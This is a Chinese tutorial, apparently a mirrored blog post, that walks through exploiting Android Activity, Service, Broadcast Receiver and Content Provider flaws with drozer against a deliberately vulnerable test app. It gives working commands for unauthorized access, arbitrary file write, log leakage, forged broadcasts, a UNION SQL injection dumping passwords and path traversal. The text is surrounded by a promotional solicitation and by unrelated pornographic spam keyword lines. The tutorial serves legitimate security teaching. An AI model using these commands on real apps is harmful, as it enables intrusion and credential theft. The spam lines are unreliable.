<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      Android四大組件安全漏洞實戰

      Android 四大組件Activity、Service、Broadcast Receiver和Content Provider是應用程序的核心組成部分,但如果實現不當,會引入嚴重的安全漏洞。本文將詳細分析各組件常見的安全漏洞,通過漏洞代碼邏輯基于 drozer 的利用方式,能夠更清楚的了解具體漏洞的原理以及利用方法。

      具體droze的下載和安裝不詳細介紹,可以自行百度,安裝完成后先在android端運行drozer agent,點擊開啟。

      在電腦端通過adb實現端口轉發,并成功啟動drozer

      adb forward tcp:31415 tcp:31415
      drozer console connect

      通過app.package.list的filter參數過濾alan關鍵詞的包名稱

      run app.package.list --filter alan

      查詢該app的包信息

       run app.package.info -a com.asec.alan

      利用app.package.attacksurface可以查詢該APP的攻擊面,即漏洞的點和數量。

      run app.package.attacksurface com.asec.alan

      完成上述的操作后,即可對相關的漏洞進行檢測分析了,接下來針對具體的組件和漏洞進行測試操作。

      【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備注 “博客園” 獲取!】

       ① 網安學習成長路徑思維導圖
       ② 60+網安經典常用工具包
       ③ 100+SRC漏洞分析報告
       ④ 150+網安攻防實戰技術電子書
       ⑤ 最權威CISSP 認證考試指南+題庫
       ⑥ 超1800頁CTF實戰技巧手冊
       ⑦ 最新網安大廠面試題合集(含答案)
       ⑧ APP客戶端安全檢測指南(安卓+IOS)

      一、Activity

      Activity 作為 Android 的界面組件,負責與用戶交互,其安全問題直接影響用戶數據安全。

      1、未授權訪問漏洞

      需要登錄權限的 Activity 未做嚴格校驗,導致惡意應用可直接通過 Intent 啟動。

      通過以下drozer命令可以查看當前app的所有activity,并確認無權限限制

      run app.activity.info -a com.asec.alan

      對于這些activity的執行邏輯屬于

      LoginActivity登錄->MainActivity->InfoQueryActivity

      image.png

       

      image.png

       

      image.png

      LoginActivity登錄->MainActivity->FileQueryActivity

      image.png

       

      image.png

       

      image.png

      1)漏洞代碼

      以下為具體的代碼,以LoginActivity登錄->MainActivity->InfoQueryActivity場景為例,可以看到首先LoginActivity以硬編碼的形式進行用戶密碼的判斷,并使用SharePreference進行了登錄態的存儲

      當用戶密碼登錄成功后即可跳轉MainActivity,MainActivity對登錄態簡單做了校驗,確認其中的is_logged_in的值存在即可加載。

      通過MainActivity跳轉到InfoQueryActivity直接進行點擊事件的監聽跳轉

      該acitivity直接加載,未進行登錄態的校驗

      通過上述APP代碼的分析,可以判斷出MainActivity的加載做了簡單的登錄態校驗,但是如果已經登錄過,且登錄態寫入到user_prefs.xml中后,只要不進行刪除即可直接通過命令加載成功實現繞過;InfoQueryActivity的加載并未做任何校驗,可以嘗試直接進行加載。

      2)漏洞利用

      MainActivity加載:

      基于上述代碼邏輯的分析,接下來通過drozer命令進行利用測試,如果已經登錄過APP,則在該程序目錄會生成user_prefs.xml文件,里面會寫入"is_logged_in"的值為true

      MainActivity的加載可直接通過drozer命令加載

      run app.activity.start --component com.asec.alan com.asec.alan.MainActivity

      執行后成功記載MainActivity

      image.png

      刪除user_prefs.xml文件,再利用drozer命令嘗試加載MainActivity則失敗

      InfoQueryActivity加載:

      InfoQueryActivity則通過app.activity.start命令直接加載即可。

      run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity

      image.png

      3)修復建議

      二、Service

      Service 用于后臺處理任務,若存在漏洞可能導致敏感操作被惡意調用。

      新建一個用于漏洞測試的service,并寫入一些漏洞的邏輯

      service組件運行導出

      通過drozer命令可以查詢支持導出的service組件信息,支持導出則可能存在對應的漏洞。

      run app.service.info -a com.asec.alan

      1、任意文件寫入漏洞

      在 Android Service 場景中,當服務接收外部傳入的文件路徑參數并直接用于文件寫入操作時,覆蓋應用自身關鍵文件(配置文件、數據庫等),導致應用的使用或者安全風險問題。

      1)漏洞代碼

      當 Service 處理"com.asec.alan.ACTION_WRITE_FILE"動作時,會從 Intent 中直接讀取filePath參數及需要寫入的內容,并通過writeToFile()方法寫入內容。但是writeToFile()直接使用傳入的filePath創建File對象,未檢查路徑是否限制在應用私有目錄

      2)漏洞利用

      通過drozer命令向/data/data/com.asec.alan/寫入drozer_test.txt文件,文件內容為Test from drozer

      run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"

      利用adb shell連接android系統,切換為root權限后查看drozer_test.txt的存在和內容

      adb shell
      su
      ls /data/data/com.asec.alan/drozer_test.txt
      cat /data/data/com.asec.alan/drozer_test.txt

      2、敏感信息泄露漏洞

      敏感信息泄露指應用在運行過程中,將不應公開的敏感數據(如密碼、密鑰、令牌等)以明文形式存儲、傳輸或輸出,導致未授權主體可獲取這些信息。

      1)漏洞代碼

      當 Service 處理"com.asec.alan.ACTION_GET_SECRET"動作時,getSensitiveInformation()方法會返回包含數據庫密碼、API 密鑰等核心敏感數據,并通過Log.d()輸出到系統日志

      2)漏洞利用

      利用drozer命令啟動com.asec.alan com.asec.alan.VulnerableService服務

      run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService

      通過adb的logcat查看對應的日志,成功打印出對飲的敏感數據。

      adb logcat VulnerableService:D *:S

      三、Broadcast Receiver

      Broadcast Receiver 用于接收系統或應用間的廣播,若實現不當會導致信息泄露或惡意調用。

      1、偽造惡意廣播漏洞

      Receiver 未驗證廣播發送者身份,惡意應用可偽造廣播觸發敏感操作。

      1)漏洞代碼

      該接收器未對廣播發送者的身份進行任何驗證,任何應用都可以發送com.asec.alan.ACTION_SENSITIVE_OPERATION動作的廣播來觸發其邏輯。并通過performSensitiveOperation方法執行敏感操作,測試使用Toast在界面彈窗展示,但整個調用鏈都沒有權限檢查機制。

      2)漏洞利用

      利用drozer偽造惡意廣播并觸發該接收器

      run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"

      通過界面可以查看到對應的廣播信息

      四、Content Provider

      Content Provider 用于數據共享,是最容易出現安全問題的組件,常見漏洞包括信息泄露、SQL 注入和目錄遍歷。

      1、信息泄露漏洞

      Content Provider 未限制訪問權限,導致應用內敏感數據(如用戶信息、數據庫)可被任意讀取。

      1)漏洞代碼:

      通過該代碼可以發現,未檢查調用者是否有讀取權限,可以直接調用sql進行數據的查詢。

      2)漏洞利用

      利用drozer命令可以查看該APP的provider的信息

      run app.provider.info -a com.asec.alan

      利用app.provider.finduri可以查看所有的uri

      run app.provider.finduri com.asec.alan

      通過drozer查詢content://com.asec.alan.provider/該uri的數據

      run app.provider.query content://com.asec.alan.provider/

      2、SQL 注入漏洞

      Content Provider 在處理查詢時直接拼接 SQL 語句,未使用參數化查詢,導致 SQL 注入。

      1)漏洞代碼

      通過代碼發現將selection參數直接拼接進 SQL 查詢字符串,未使?參數化查詢或輸?凈化,完全信任外部輸?。并且忽略了selectionArgs參數,該參數本應?于安全傳遞查詢參數,調?rawQuery時未使?參數綁定功能,?是傳遞null。

      2)漏洞利用

      利用drozer的scanner.provider.injection可以查詢該APP的Content Provider存在的SQL注入

      run scanner.provider.injection -a com.asec.alan

      基于sql注入漏洞的測試和利用,通過order by進行顯示位的判斷

      run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
      run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
      run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"

      并進行username和password數據的查詢。

      run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"

      3、目錄遍歷漏洞

      Content Provider 的openFile()方法未驗證文件路徑,導致攻擊者可訪問應用沙盒外的任意文件。

      1)漏洞代碼

      代碼中使用uri.getEncodedPath()獲取路徑,未處理../或..\等路徑跳轉符,用戶可控的uriPath直接與基礎目錄baseDir拼接,并沒有對訪問的文件類型、路徑范圍進行權限校驗。

      2)漏洞利用

      利用drozer的scanner.provider.traversal對目錄遍歷漏洞進行檢測,發現對應的uri

      run scanner.provider.traversal -a com.asec.alan

      并成功查詢/system/etc/hosts文件內容

      run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts

      本文利用drozer工具基于該APP的測試和操作,其實對于android app的組件漏洞的測試還有很多方法,通過其對四大組件的系統性檢測,可有效發現權限控制缺失、輸入驗證不足等高危漏洞。在實際測試中,需結合靜態代碼分析(如查看 AndroidManifest.xml 的組件配置)與 Drozer 的動態交互測試,形成 "靜態枚舉 + 動態驗證" 的閉環,才能全面評估組件的安全狀態,為漏洞修復提供精準依據。

      APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk

      提取碼: 4ggk

      更多網安技能的在線實操練習,請點擊這里>>

        

      posted @ 2025-08-20 14:56  蟻景網安實驗室  閱讀(15)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 天堂av在线一区二区| 亚洲欧美偷拍另类A∨| 粗了大了 整进去好爽视频| 亚洲啪啪精品一区二区的| 亚洲色成人一区二区三区| 欧美一区二区三区性视频| 久久se精品一区二区三区| 亚洲热视频这里只有精品| 国产中文99视频在线观看| 在国产线视频A在线视频| 99久久精品国产熟女拳交| 亚洲欧美中文字幕日韩一区二区| 日本一区二区三区专线| 亚洲欧洲av一区二区| 日韩av在线不卡一区二区三区| 亚洲日本va午夜中文字幕久久| 国内精品久久黄色三级乱| 伊人久久大香线蕉aⅴ色| 利川市| 久久成人伊人欧洲精品| 麻豆国产高清精品国在线| 亚洲人成18在线看久| 日韩少妇人妻vs中文字幕| 亚洲国产成人综合精品| 精品人妻av综合一区二区| 國产AV天堂| 久久精品国产亚洲av麻豆长发| 97se亚洲综合自在线| 国产成人8X人网站视频| 狠狠色丁香婷婷综合尤物| 亚洲春色在线视频| 国产剧情福利一区二区麻豆| 国产精品第一页中文字幕| 国色天香成人一区二区| 青草热在线观看精品视频| 99久久国产综合精品成人影院| 日韩高清国产中文字幕| 中文字幕人妻丝袜美腿乱| 国产精品深夜福利免费观看| 国产精品亚洲中文字幕| 伊人久久大香线蕉网av|